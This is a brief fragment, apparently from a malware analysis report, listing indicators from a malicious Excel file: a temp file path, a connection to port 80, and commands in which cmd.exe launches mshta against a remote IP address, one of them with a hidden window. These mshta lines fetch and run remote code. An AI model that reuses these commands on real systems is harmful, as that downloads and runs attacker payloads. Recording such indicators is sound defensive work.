Technical Information
- '<SYSTEM32>\cmd.exe' /c mshta http://91.240.118.168/zzx/ccv/fe.html
- %TEMP%\excel\<File name>.xls
- '91.##0.118.168':80
- '<SYSTEM32>\cmd.exe' /c mshta http://91.240.118.168/zzx/ccv/fe.html' (with hidden window)
- '<SYSTEM32>\mshta.exe' http://91.240.118.168/zzx/ccv/fe.html